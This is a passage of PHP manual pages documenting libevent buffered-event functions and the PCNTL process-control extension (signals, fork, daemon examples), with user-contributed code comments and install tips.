  • Libevent Functions
  • Assign a priority to a buffered event

event_buffer_priority_set

(PECL libevent >= 0.0.1)

event_buffer_priority_set — Assign a priority to a buffered event

Description

bool event_buffer_priority_set ( resource $bevent , int $priority )

Assign a priority to the bevent.

Parameters

bevent

Valid buffered event resource.

priority

Priority level. Cannot be less than zero and cannot exceed maximum priority level of the event base (see event_base_priority_init()).

Return Values

event_buffer_priority_set() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Read data from a buffered event

  • « event_buffer_priority_set
  • event_buffer_set_callback »
  • PHP Manual
  • Libevent Functions
  • Read data from a buffered event

event_buffer_read

(PECL libevent >= 0.0.1)

event_buffer_read — Read data from a buffered event

Description

string event_buffer_read ( resource $bevent , int $data_size )

Reads data from the input buffer of the buffered event.

Parameters

bevent

Valid buffered event resource.

data_size

Data size in bytes.

User Contributed Notes

There are no user contributed notes for this page.


Set or reset callbacks for a buffered event

  • « event_buffer_read
  • event_buffer_timeout_set »
  • PHP Manual
  • Libevent Functions
  • Set or reset callbacks for a buffered event

event_buffer_set_callback

(PECL libevent >= 0.0.4)

event_buffer_set_callback — Set or reset callbacks for a buffered event

Description

bool event_buffer_set_callback ( resource $event , mixed $readcb , mixed $writecb , mixed $errorcb [, mixed $arg ] )

Sets or changes existing callbacks for the buffered event.

Parameters

event

Valid buffered event resource.

readcb

Callback to invoke where there is data to read, or NULL if no callback is desired.

writecb

Callback to invoke where the descriptor is ready for writing, or NULL if no callback is desired.

errorcb

Callback to invoke where there is an error on the descriptor, cannot be NULL.

arg

An argument that will be passed to each of the callbacks (optional).

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set read and write timeouts for a buffered event

  • « event_buffer_set_callback
  • event_buffer_watermark_set »
  • PHP Manual
  • Libevent Functions
  • Set read and write timeouts for a buffered event

event_buffer_timeout_set

(PECL libevent >= 0.0.1)

event_buffer_timeout_set — Set read and write timeouts for a buffered event

Description

void event_buffer_timeout_set ( resource $bevent , int $read_timeout , int $write_timeout )

Sets the read and write timeouts for the specified buffered event.

Parameters

bevent

Valid buffered event resource.

read_timeout

Read timeout (in seconds).

write_timeout

Write timeout (in seconds).

User Contributed Notes

john at collabriasoftware dot com 24-Mar-2012 11:38
On timeout the error callback is executed. This can be very valuable if you wanted to monitor inactivity on a socket.

You also need to use event_buffer_enable if you wanted to re-use the event listener.

Example:

<?php
function print_line($buf, $arg)
{
    static $max_requests;

    $max_requests++;

    if ($max_requests == 10) {
        event_base_loopexit($arg);
    }

    // print the line
    echo event_buffer_read($buf, 4096);
}

function error_func($buf, $what, $arg)
{
    // If this was a read timeout
    if ($what == (EVBUFFER_READ | EVBUFFER_TIMEOUT)) {
        echo '5 seconds of inactivity'."\n";

        // Control timeout features
        //    Could ping the client, or even disconnect the client if you really wanted to.
        //    --- ETC

        // Restart our event loop on this buffer
        event_buffer_enable($buf, EV_READ);
    }
}

$base = event_base_new();
$eb = event_buffer_new(STDIN, "print_line", NULL, "error_func", $base);

// Timeout after 5 seconds of inactivity
event_buffer_timeout_set($eb, 5, NULL);
event_buffer_base_set($eb, $base);
event_buffer_enable($eb, EV_READ);

event_base_loop($base);

?>


Set the watermarks for read and write events

  • « event_buffer_timeout_set
  • event_buffer_write »
  • PHP Manual
  • Libevent Functions
  • Set the watermarks for read and write events

event_buffer_watermark_set

(PECL libevent >= 0.0.1)

event_buffer_watermark_set — Set the watermarks for read and write events

Description

void event_buffer_watermark_set ( resource $bevent , int $events , int $lowmark , int $highmark )

Sets the watermarks for read and write events. Libevent does not invoke read callback unless there is at least lowmark bytes in the input buffer; if the read buffer is beyond the highmark, reading is stopped. On output, the write callback is invoked whenever the buffered data falls below the lowmark.

Parameters

bevent

Valid buffered event resource.

events

Any combination of EV_READ and EV_WRITE.

lowmark

Low watermark.

highmark

High watermark.

User Contributed Notes

There are no user contributed notes for this page.


Write data to a buffered event

  • « event_buffer_watermark_set
  • event_del »
  • PHP Manual
  • Libevent Functions
  • Write data to a buffered event

event_buffer_write

(PECL libevent >= 0.0.1)

event_buffer_write — Write data to a buffered event

Description

bool event_buffer_write ( resource $bevent , string $data [, int $data_size = -1 ] )

Writes data to the specified buffered event. The data is appended to the output buffer and written to the descriptor when it becomes available for writing.

Parameters

bevent

Valid buffered event resource.

data

The data to be written.

data_size

Optional size parameter. event_buffer_write() writes all the data by default.

Return Values

event_buffer_write() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Remove an event from the set of monitored events

  • « event_buffer_write
  • event_free »
  • PHP Manual
  • Libevent Functions
  • Remove an event from the set of monitored events

event_del

(PECL libevent >= 0.0.1)

event_del — Remove an event from the set of monitored events

Description

bool event_del ( resource $event )

Cancels the event.

Parameters

event

Valid event resource.

Return Values

event_del() returns TRUE on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Free event resource

  • « event_del
  • event_new »
  • PHP Manual
  • Libevent Functions
  • Free event resource

event_free

(PECL libevent >= 0.0.1)

event_free — Free event resource

Description

void event_free ( resource $event )

Frees previously created event resource.

Parameters

event

Valid event resource.

User Contributed Notes

There are no user contributed notes for this page.


Create new event

  • « event_free
  • event_priority_set »
  • PHP Manual
  • Libevent Functions
  • Create new event

event_new

(PECL libevent >= 0.0.1)

event_new — Create new event

Description

resource event_new ( void )

Creates and returns a new event resource.

Return Values

event_new() returns a new event resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Assign a priority to an event.

  • « event_new
  • event_set »
  • PHP Manual
  • Libevent Functions
  • Assign a priority to an event.

event_priority_set

(PECL libevent >= 0.0.5)

event_priority_set — Assign a priority to an event.

Description

bool event_priority_set ( resource $event , int $priority )

Assign a priority to the event.

Parameters

event

Valid event resource.

priority

Priority level. Cannot be less than zero and cannot exceed maximum priority level of the event base (see event_base_priority_init()).

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Prepare an event

  • « event_priority_set
  • event_timer_add »
  • PHP Manual
  • Libevent Functions
  • Prepare an event

event_set

(PECL libevent >= 0.0.1)

event_set — Prepare an event

Description

bool event_set ( resource $event , mixed $fd , int $events , mixed $callback [, mixed $arg ] )

Prepares the event to be used in event_add(). The event is prepared to call the function specified by the callback on the events specified in parameter events, which is a set of the following flags: EV_TIMEOUT, EV_SIGNAL, EV_READ, EV_WRITE and EV_PERSIST.

If EV_SIGNAL bit is set in parameter events, the fd is interpreted as signal number.

After initializing the event, use event_base_set() to associate the event with its event base.

In case of matching event, these three arguments are passed to the callback function:

fd

Signal number or resource indicating the stream.

events

A flag indicating the event. Consists of the following flags: EV_TIMEOUT, EV_SIGNAL, EV_READ, EV_WRITE and EV_PERSIST.

arg

Optional parameter, previously passed to event_set() as arg.

Parameters

event

Valid event resource.

fd

Valid PHP stream resource. The stream must be castable to file descriptor, so you most likely won't be able to use any of filtered streams.

events

A set of flags indicating the desired event, can be EV_READ and/or EV_WRITE. The additional flag EV_PERSIST makes the event to persist until event_del() is called, otherwise the callback is invoked only once.

callback

Callback function to be called when the matching event occurs.

arg

Optional callback parameter.

Return Values

event_set() returns TRUE on success or FALSE on error.

Changelog

Version | Description
0.0.4 | EV_SIGNAL support was added.

User Contributed Notes

jille at hexon dot cx 13-May-2011 05:42
If you change your event with event_set() libevent will forget which base your event belongs to. You must call event_base_set() again *before* calling event_add() on it.


Alias of event_add

  • « event_set
  • event_timer_del »
  • PHP Manual
  • Libevent Functions
  • Alias of event_add

event_timer_add

(PECL libevent >= 0.0.2)

event_timer_add — Alias of event_add()

Description

This function is an alias of: event_add().

User Contributed Notes

There are no user contributed notes for this page.


Alias of event_del

  • « event_timer_add
  • event_timer_new »
  • PHP Manual
  • Libevent Functions
  • Alias of event_del

event_timer_del

(PECL libevent >= 0.0.2)

event_timer_del — Alias of event_del()

Description

This function is an alias of: event_del().

User Contributed Notes

There are no user contributed notes for this page.


Alias of event_new

  • « event_timer_del
  • event_timer_set »
  • PHP Manual
  • Libevent Functions
  • Alias of event_new

event_timer_new

(PECL libevent >= 0.0.2)

event_timer_new — Alias of event_new()

Description

This function is an alias of: event_new().

User Contributed Notes

There are no user contributed notes for this page.


Prepare a timer event

  • « event_timer_new
  • PCNTL »
  • PHP Manual
  • Libevent Functions
  • Prepare a timer event

event_timer_set

(PECL libevent >= 0.0.2)

event_timer_set — Prepare a timer event

Description

bool event_timer_set ( resource $event , callable $callback [, mixed $arg ] )

Prepares the timer event to be used in event_add(). The event is prepared to call the function specified by the callback when the event timeout elapses.

After initializing the event, use event_base_set() to associate the event with its event base.

In case of matching event, these three arguments are passed to the callback function:

fd

Signal number or resource indicating the stream.

events

A flag indicating the event. This will always be EV_TIMEOUT for timer events.

arg

Optional parameter, previously passed to event_timer_set() as arg.

Parameters

event

Valid event resource.

callback

Callback function to be called when the matching event occurs.

arg

Optional callback parameter.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Process Control

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • PCNTL Functions
    • pcntl_alarm — Set an alarm clock for delivery of a signal
    • pcntl_errno — Alias of pcntl_strerror
    • pcntl_exec — Executes specified program in current process space
    • pcntl_fork — Forks the currently running process
    • pcntl_get_last_error — Retrieve the error number set by the last pcntl function which failed
    • pcntl_getpriority — Get the priority of any process
    • pcntl_setpriority — Change the priority of any process
    • pcntl_signal_dispatch — Calls signal handlers for pending signals
    • pcntl_signal — Installs a signal handler
    • pcntl_sigprocmask — Sets and retrieves blocked signals
    • pcntl_sigtimedwait — Waits for signals, with a timeout
    • pcntl_sigwaitinfo — Waits for signals
    • pcntl_strerror — Retrieve the system error message associated with the given errno
    • pcntl_wait — Waits on or returns the status of a forked child
    • pcntl_waitpid — Waits on or returns the status of a forked child
    • pcntl_wexitstatus — Returns the return code of a terminated child
    • pcntl_wifexited — Checks if status code represents a normal exit
    • pcntl_wifsignaled — Checks whether the status code represents a termination due to a signal
    • pcntl_wifstopped — Checks whether the child process is currently stopped
    • pcntl_wstopsig — Returns the signal which caused the child to stop
    • pcntl_wtermsig — Returns the signal which caused the child to terminate

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Process Control support in PHP implements the Unix style of process creation, program execution, signal handling and process termination. Process Control should not be enabled within a web server environment and unexpected results may happen if any Process Control functions are used within a web server environment.

This documentation is intended to explain the general usage of each of the Process Control functions. For detailed information about Unix process control you are encouraged to consult your systems documentation including fork(2), waitpid(2) and signal(2) or a comprehensive reference such as Advanced Programming in the UNIX Environment by W. Richard Stevens (Addison-Wesley).

PCNTL now uses ticks as the signal handle callback mechanism, which is much faster than the previous mechanism. This change follows the same semantics as using "user ticks". You use the declare() statement to specify the locations in your program where callbacks are allowed to occur. This allows you to minimize the overhead of handling asynchronous events. In the past, compiling PHP with pcntl enabled would always incur this overhead, whether or not your script actually used pcntl.

There is one adjustment that all pcntl scripts prior to PHP 4.3.0 must make for them to work which is to either to use declare() on a section where you wish to allow callbacks or to just enable it across the entire script using the new global syntax of declare().

Note: This extension is not available on Windows platforms.

User Contributed Notes

sean dot kelly at mediatile dot com 09-Jan-2012 10:32
The following statement left me searching for answers for about a day before I finally clued in:

"Process Control should not be enabled within a web server environment and unexpected results may happen if any Process Control functions are used within a web server environment."

At least for PHP 5.3.8 which I am using, and who knows how far back, it's not a matter of "should not", it's "can not". Even though I have compiled in PCNTL with --enable-pcntl, it turns out that it only compiles in to the CLI version of PHP, not the Apache module. As a result, I spent many hours trying to track down why function_exists('pcntl_fork') was returning false even though it compiled correctly. It turns out it returns true just fine from the CLI, and only returns false for HTTP requests. The same is true of ALL of the pcntl_*() functions.


Installation

Process Control support in PHP is not enabled by default. You have to compile the CGI or CLI version of PHP with --enable-pcntl configuration option when compiling PHP to enable Process Control support.

Note:

Currently, this module will not function on non-Unix platforms (Windows).

User Contributed Notes

diogo-nechtan at tagon8inc dot com 03-Aug-2012 02:31
Manual installation on Mountain Lion (OS X 10.8)

first: Download the php source
(e.g. $ wget http://br.php.net/get/php-5.3.15.tar.gz/from/this/mirror)

nechtan$ sudo su
sh-3.2# tar -zxvf php-5.3.15.tar.gz
sh-3.2# cd php-5.3.15/ext/pcntl/
sh-3.2# phpize && ./configure && make install
sh-3.2# echo "extension=pcntl.so" >> /etc/php.ini
sh-3.2# apachectl restart

checking if everything is ok.

sh-3.2# php -m | grep pcntl
pcntl

testing pcntl with Facebook's PHP shell:
http://www.phpsh.org/


Predefined Constants

The following list of signals are supported by the Process Control functions. Please see your systems signal(7) man page for details of the default behavior of these signals.

WNOHANG (integer)
WUNTRACED (integer)
SIG_IGN (integer)
SIG_DFL (integer)
SIG_ERR (integer)
SIGHUP (integer)
SIGINT (integer)
SIGQUIT (integer)
SIGILL (integer)
SIGTRAP (integer)
SIGABRT (integer)
SIGIOT (integer)
SIGBUS (integer)
SIGFPE (integer)
SIGKILL (integer)
SIGUSR1 (integer)
SIGSEGV (integer)
SIGUSR2 (integer)
SIGPIPE (integer)
SIGALRM (integer)
SIGTERM (integer)
SIGSTKFLT (integer)
SIGCLD (integer)
SIGCHLD (integer)
SIGCONT (integer)
SIGSTOP (integer)
SIGTSTP (integer)
SIGTTIN (integer)
SIGTTOU (integer)
SIGURG (integer)
SIGXCPU (integer)
SIGXFSZ (integer)
SIGVTALRM (integer)
SIGPROF (integer)
SIGWINCH (integer)
SIGPOLL (integer)
SIGIO (integer)
SIGPWR (integer)
SIGSYS (integer)
SIGBABY (integer)
SIG_BLOCK (integer)
Available since PHP 5.3.0.
SIG_UNBLOCK (integer)
Available since PHP 5.3.0.
SIG_SETMASK (integer)
Available since PHP 5.3.0.
SI_USER (integer)
Available since PHP 5.3.0.
SI_NOINFO (integer)
Available since PHP 5.3.0.
SI_KERNEL (integer)
Available since PHP 5.3.0.
SI_QUEUE (integer)
Available since PHP 5.3.0.
SI_TIMER (integer)
Available since PHP 5.3.0.
SI_MSGGQ (integer)
Available since PHP 5.3.0.
SI_ASYNCIO (integer)
Available since PHP 5.3.0.
SI_SIGIO (integer)
Available since PHP 5.3.0.
SI_TKILL (integer)
Available since PHP 5.3.0.
CLD_EXITED (integer)
Available since PHP 5.3.0.
CLD_KILLED (integer)
Available since PHP 5.3.0.
CLD_DUMPED (integer)
Available since PHP 5.3.0.
CLD_TRAPPED (integer)
Available since PHP 5.3.0.
CLD_STOPPED (integer)
Available since PHP 5.3.0.
CLD_CONTINUED (integer)
Available since PHP 5.3.0.
TRAP_BRKPT (integer)
Available since PHP 5.3.0.
TRAP_TRACE (integer)
Available since PHP 5.3.0.
POLL_IN (integer)
Available since PHP 5.3.0.
POLL_OUT (integer)
Available since PHP 5.3.0.
POLL_MSG (integer)
Available since PHP 5.3.0.
POLL_ERR (integer)
Available since PHP 5.3.0.
POLL_PRI (integer)
Available since PHP 5.3.0.
POLL_HUP (integer)
Available since PHP 5.3.0.
ILL_ILLOPC (integer)
Available since PHP 5.3.0.
ILL_ILLOPN (integer)
Available since PHP 5.3.0.
ILL_ILLADR (integer)
Available since PHP 5.3.0.
ILL_ILLTRP (integer)
Available since PHP 5.3.0.
ILL_PRVOPC (integer)
Available since PHP 5.3.0.
ILL_PRVREG (integer)
Available since PHP 5.3.0.
ILL_COPROC (integer)
Available since PHP 5.3.0.
ILL_BADSTK (integer)
Available since PHP 5.3.0.
FPE_INTDIV (integer)
Available since PHP 5.3.0.
FPE_INTOVF (integer)
Available since PHP 5.3.0.
FPE_FLTDIV (integer)
Available since PHP 5.3.0.
FPE_FLTOVF (integer)
Available since PHP 5.3.0.
FPE_FLTUND (integer)
Available since PHP 5.3.0.
FPE_FLTRES (integer)
Available since PHP 5.3.0.
FPE_FLTINV (integer)
Available since PHP 5.3.0.
FPE_FLTSUB (integer)
Available since PHP 5.3.0.
SEGV_MAPERR (integer)
Available since PHP 5.3.0.
SEGV_ACCERR (integer)
Available since PHP 5.3.0.
BUS_ADRALN (integer)
Available since PHP 5.3.0.
BUS_ADRERR (integer)
Available since PHP 5.3.0.
BUS_OBJERR (integer)
Available since PHP 5.3.0.

User Contributed Notes

coder dot ua at gmail dot com 23-Aug-2014 10:05
You should see all signals and their codes in your system using: kill -l
In my Debian GNU/Linux 7.6 (wheezy):

 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
 6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) SIGALRM     15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
eclecticrob at gmail dot com 16-Apr-2012 07:26
On RedHat, the values of the constants are:

Signal SIGHUP = 1
Signal SIGINT = 2
Signal SIGQUIT = 3
Signal SIGILL = 4
Signal SIGTRAP = 5
Signal SIGABRT = 6
Signal SIGIOT = 6
Signal SIGBUS = 7
Signal SIGFPE = 8
Signal SIGUSR1 = 10
Signal SIGSEGV = 11
Signal SIGUSR2 = 12
Signal SIGPIPE = 13
Signal SIGALRM = 14
Signal SIGTERM = 15
Signal SIGSTKFLT = 16
Signal SIGCLD = 17
Signal SIGCHLD = 17
Signal SIGCONT = 18
Signal SIGTSTP = 20
Signal SIGTTIN = 21
Signal SIGTTOU = 22
Signal SIGURG = 23
Signal SIGXCPU = 24
Signal SIGXFSZ = 25
Signal SIGVTALRM = 26
Signal SIGPROF = 27
Signal SIGWINCH = 28
Signal SIGPOLL = 29
Signal SIGIO = 29
Signal SIGPWR = 30
Signal SIGSYS = 31
Signal SIGBABY = 31
Signal SIG_BLOCK = 0
Signal SIG_UNBLOCK = 1
Signal SIG_SETMASK = 2
eclecticrob at gmail dot com 05-Jan-2012 12:43
On OS X, the values of the constants are:

SIGHUP = 1
SIGINT = 2
SIGQUIT = 3
SIGILL = 4
SIGTRAP = 5
SIGABRT = 6
SIGIOT = 6
SIGBUS = 10
SIGFPE = 8
SIGUSR1 = 30
SIGSEGV = 11
SIGUSR2 = 31
SIGPIPE = 13
SIGALRM = 14
SIGTERM = 15
SIGSTKFLT not defined
SIGCLD not defined
SIGCHLD = 20
SIGCONT = 19
SIGTSTP = 18
SIGTTIN = 21
SIGTTOU = 22
SIGURG = 16
SIGXCPU = 24
SIGXFSZ = 25
SIGVTALRM = 26
SIGPROF = 27
SIGWINCH = 28
SIGPOLL not defined
SIGIO = 23
SIGPWR not defined
SIGSYS = 12
SIGBABY = 12
SIG_BLOCK = 1
SIG_UNBLOCK = 2
SIG_SETMASK = 3


Basic usage

This example forks off a daemon process with a signal handler.

Example #1 Process Control Example

<?php
declare(ticks=1);

$pid = pcntl_fork();
if ($pid == -1) {
     die("could not fork");
} else if ($pid) {
     exit(); // we are the parent
} else {
     // we are the child
}

// detatch from the controlling terminal
if (posix_setsid() == -1) {
    die("could not detach from terminal");
}

// setup signal handlers
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

// loop forever performing tasks
while (1) {

    // do something interesting here

}

function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         default:
             // handle all other signals
     }

}

?>

User Contributed Notes

There are no user contributed notes for this page.


PCNTL Functions

See Also

A look at the section about POSIX functions may be useful.

Table of Contents

  • pcntl_alarm — Set an alarm clock for delivery of a signal
  • pcntl_errno — Alias of pcntl_strerror
  • pcntl_exec — Executes specified program in current process space
  • pcntl_fork — Forks the currently running process
  • pcntl_get_last_error — Retrieve the error number set by the last pcntl function which failed
  • pcntl_getpriority — Get the priority of any process
  • pcntl_setpriority — Change the priority of any process
  • pcntl_signal_dispatch — Calls signal handlers for pending signals
  • pcntl_signal — Installs a signal handler
  • pcntl_sigprocmask — Sets and retrieves blocked signals
  • pcntl_sigtimedwait — Waits for signals, with a timeout
  • pcntl_sigwaitinfo — Waits for signals
  • pcntl_strerror — Retrieve the system error message associated with the given errno
  • pcntl_wait — Waits on or returns the status of a forked child
  • pcntl_waitpid — Waits on or returns the status of a forked child
  • pcntl_wexitstatus — Returns the return code of a terminated child
  • pcntl_wifexited — Checks if status code represents a normal exit
  • pcntl_wifsignaled — Checks whether the status code represents a termination due to a signal
  • pcntl_wifstopped — Checks whether the child process is currently stopped
  • pcntl_wstopsig — Returns the signal which caused the child to stop
  • pcntl_wtermsig — Returns the signal which caused the child to terminate

User Contributed Notes

kevin at vanzonneveld dot net 06-Sep-2008 12:29
If you want to create a daemon in PHP, consider using System_Daemon http://pear.php.net/package/System_Daemon

Install it like this:
pear install -f system_daemon

Then use it like this:
<?php
// Include PEAR's Daemon Class
require_once "System/Daemon.php";

// Bare minimum setup
System_Daemon::setOption("appName", "mydaemonname");

// Spawn Deamon!
System_Daemon::start();

// Your PHP Here!
while (true) {
    doTask();
}

// Stop daemon!
System_Daemon::stop();
?>

More examples can be found inside the PEAR package.
m dot quinton at gmail dot com 08-Apr-2008 09:02
a nice example of a class framework to manage tasks using pcntl_fork.

<?php

/**
 * author : Marc Quinton / April 2008.
 *
 *  a simple task management framework using pcntl_fork, pcntl_wait.
 *
 *  - see at bottom for a sample usage.
 *  - you shoud overring Task class (SleepingClass is an example), and manage them in a pool, using taskManager
 */

error_reporting(E_ALL);

class Task {

    protected $pid;
    protected $ppid;

    function __construct(){
    }

    function fork(){
        $pid = pcntl_fork();
        if ($pid == -1)
            throw new Exception ('fork error on Task object');
        elseif ($pid) {
            # we are in parent class
            $this->pid = $pid;
            # echo "< in parent with pid {$his->pid}\n";
        } else{
            # we are is child
            $this->run();
        }
    }

    function run(){
        # echo "> in child {$this->pid}\n";
        # sleep(rand(1,3));
        $this->ppid = posix_getppid();
        $this->pid = posix_getpid();
    }

    # call when a task in finished (in parent)
    function finish(){
        echo "task finished {$this->pid}\n";
    }

    function pid(){
        return $this->pid;
    }
}

class SleepingTask extends Task{
    function run(){
        parent::run();
        echo "> in child {$this->pid}\n";

        # print_r($this);

        sleep(rand(1,5));
        echo "> child done {$this->pid}\n";
        exit(0);
    }
}

class TaskManager{

    protected $pool;

    function __construct(){
        $this->pool = array();
    }

    function add_task($task){
        $this->pool[] = $task;
    }

    function run(){

        foreach($this->pool as $task){
            $task->fork();
        }

        # print_r($this);
        # sleep(60);

        while(1){
            echo "waiting\n";
            $pid = pcntl_wait($extra);
            if($pid == -1)
                break;

            echo ": task done : $pid\n";
            $this->finish_task($pid);
        }

        echo "processes done ; exiting\n";
        exit(0);
    }

    function finish_task($pid){
        if($task = $this->pid_to_task($pid))
            $task->finish();
    }

    function pid_to_task($pid){
        foreach($this->pool as $task){
            if($task->pid() == $pid)
                return $task;
        }
        return false;
    }
}

$manager = new TaskManager();

for($i=0 ; $i<10 ; $i++)
    $manager->add_task(new SleepingTask());

$manager->run();

?>
registrazioni at XSPAMX dot tassetti dot net 05-Sep-2007 06:12
(PHP 5.2.4)

This is an example of multithreading keeping different connections to a mysql database: when children exit they close the connection and others can't use it any more generating problems. In this example I used variable variables to make a different connection per each child.

This scripts loops forever with one mother detached from the terminal and five children 'named' from 1 to 5. When one children sees it's name in the database (one table 'test.tb' with only one field 'test') he lets himself die. To kill children insert their value in the db. The mother suicides only when all children are dead.

What a sad but interesting story...

    $npid = pcntl_fork(); // DETACH FROM TERMINAL AND BE REAPED BY INIT

    if ($npid==-1) die("Error: impossible to pcntl_fork()\n");
    else if ($npid) exit(0); // THE GRANPA DIES
    else // MOTHER GOES ON TO MAKE CHILDREN
    {
        $children = 5;
        for ($i=1; $i<=$children; $i++)
        {
            $pid = pcntl_fork();
            if ($pid==-1) die("Error: impossible to pcntl_fork()\n");
            else if ($pid)
            {
                 $pid_arr[$i] = $pid;
            }
            if (!$pid) // CHILDREN
            {
                global $vconn;
                $vconn = "vconn$i";
                global $$vconn;
                $$vconn = @mysql_connect("mydbhost","mydbuser","mydbpwd");
                if (!($$vconn)) echo mysql_error();
                if (!($$vconn)) exit;

                while (1)
                {
                    $query = "SELECT test FROM test.tb";
                    $rs = mysql_query($query,$$vconn);
                    $rw = mysql_fetch_row($rs);
                    if ($rw[0]==$i) exit;
                    else
                    {
                        echo "Database is $rw[0] and I am $i, it's not my time, I will wait....\n";
                        sleep(1);
                    }
                }
            }
        }

        foreach ($pid_arr as $pid)
        {
            // we are the parent and we wait for all children to die
            pcntl_waitpid($pid, $status);
        }
        echo "All my children died, I will suicide...\n";
        exit();
    }
flyingguillotine1968 at yahoo dot com 13-Aug-2007 02:16
ok, heres what ya do to handle child process's ... :>

you want to pfork your main program, and let it exit,
allowing the new child to become the main program (parent process).

example psudo code :
main program start;
     ....
     if pfork'd child ok
          then exit ;

    // now your new child process is in control...
    // use a signal handler to make it exit (sigkill or sigterm probably)
    // when this new process pforks, store the new child PID's in an
    // array.   when your process  catch's the sigterm  signal
    // loop thru the array of its child PID's sending each child
    // sigkill , then call  pwait on them to wait for them to exit.
    // this will make sure any child process are cleaned up ok
    // THEN .. now here's the trick....
    // reset yer sigterm handler BACK to its original default handler,
   // thennnnn   raise sigterm , main program will exit ok now tooooo :>

example:
when your pfork'd main process gets sigterm ... then do something
like this :

foreach ($this->pForkList as $kiddie) {
$deadPID    = 0;
$this->sendSignal(SIGKILL,$kiddie);
do {
$deadPID = pcntl_waitpid(-1,WNOHANG);
if ($deadPID > 0) {
// kiddie has exited now ...
unset($this->pForkList[ array_search($deadPID,$this->pForkList)]);
break;
} // end if
} while ($deadPID == 0);

} // end for

// now reset sigterm ...
$this->signalSet($sigNum,SIG_DFL);
// RAISE sigterm now ...
$this->sendSignal(SIGTERM,$this->myPID);

this will allow your main process and all its child process's to exit properly and not leave and zombies or other bad stuff behind !
kementeusNOSPAM at gmail dot com 28-Dec-2006 06:43
In the example of the documentation we need to put the pctnl_signal statements BEFORE the while loop.

In that way we can execute whatever we put in the signal handler functions.
corychristison at lavacube dot com 03-Nov-2004 03:53
An easier way than what was first suggested in the first comment, to retrieve what signal your application is being sent would be to use get_defined_constants() to list all constants, loop through and strip out those that are not signals, and to check if it matches the value.

Here is my code for doing this, written for PHP5 only.
<?php

// php5 Specfic

function pcntl_sig_identify ( $sig_no ) {
    $get_constants = get_defined_constants(true);
    $pcntl_contstants = $get_constants["pcntl"];
    $keys = array_keys( $pcntl_contstants );
      foreach($keys as $key){
        if(strstr($key, "SIG") && !strstr($key, "_") && $pcntl_contstants[$key] == $sig_no){
      return $key;
    }
      } // end loop
} // end function pcntl_sig_identify

//
// This example will output "SIGTERM"
//

print pcntl_sig_identify(15) . "\n";

?>
andy at cbeyond dot net 20-Aug-2004 06:26
Suppose you want to fork off children to handle a few hundred different targets (like, say, SNMP polling, but that's just one example).  Since you don't want to fork-bomb yourself, here's one method of limiting the number of children you have in play at any one time:

#!/usr/bin/php -q
<?php
declare(ticks = 1);

$max=10;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
    case SIGCHLD:
      echo "SIGCHLD received\n";
      $child -= 1;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

for ($i=1;$i<=20;$i++) {
        while ($child >= $max) {
                sleep(5); echo "\t Maximum children allowed\n";
                }
        $child++;
        $pid=pcntl_fork();
        if ($pid == -1) {
                die("could not fork");
        } else if ($pid) {
                // we are the parent
        } else {
                // we are the child
                echo "child number $i\n";
                // presumably doing something interesting
                sleep(15);
                exit;
        }
}
05-Dec-2003 12:52
in example 1, i found unless i create function sig_handler _BEFORE_ pcnt_signal, it wouldnt work.. and would just fall to the floor bleeding to death

(note for people having these kinda probs)
cameronNO_SPAM at tripdubdev dot com 18-Nov-2003 09:36
I'm currently working on some code for this, but in case I forget to come back to post to the board, or in case it takes me a while, why not just have a separate background job running (started up via the shell) that tracks which sockets are available to clients ?  Then all you'd have to do is communicate with the one job (or perhaps its own mini-server) run in the background that keeps an array of the available sockets for the server.  This seems the most natural alternative since PHP disclaims that process control functionality should not be used in a web-server environment.  I would hate to build a server, especially one with high traffic, that had to run through a loop in order to find an available socket.
luca dot mariano at email dot it 12-Nov-2003 03:49
Hi folks,
if someone uses PHP-CLI onWin32 and wants to experiment the PCNTL stuff, I've packed a binary version of PHP with built-in pcntl, shmop, sysvshm and other typical Unix extensions... (thanks to Cygwin DLLs).
Download it: http://phplet.sf.net/modules.php?name=Web_Links&l_op=visit&lid=4
jeremy at nirvani dot net 16-Oct-2003 05:54
#!/usr/local/bin/php -q
<?php

# Jeremy Brand <jeremy@nirvani.net>
# http://www.nirvani.net/

# ./configure --enable-pcntl --enable-sigchild
# make
# make install

# This code example shows how to use a script to do multiprocessing.  Each time
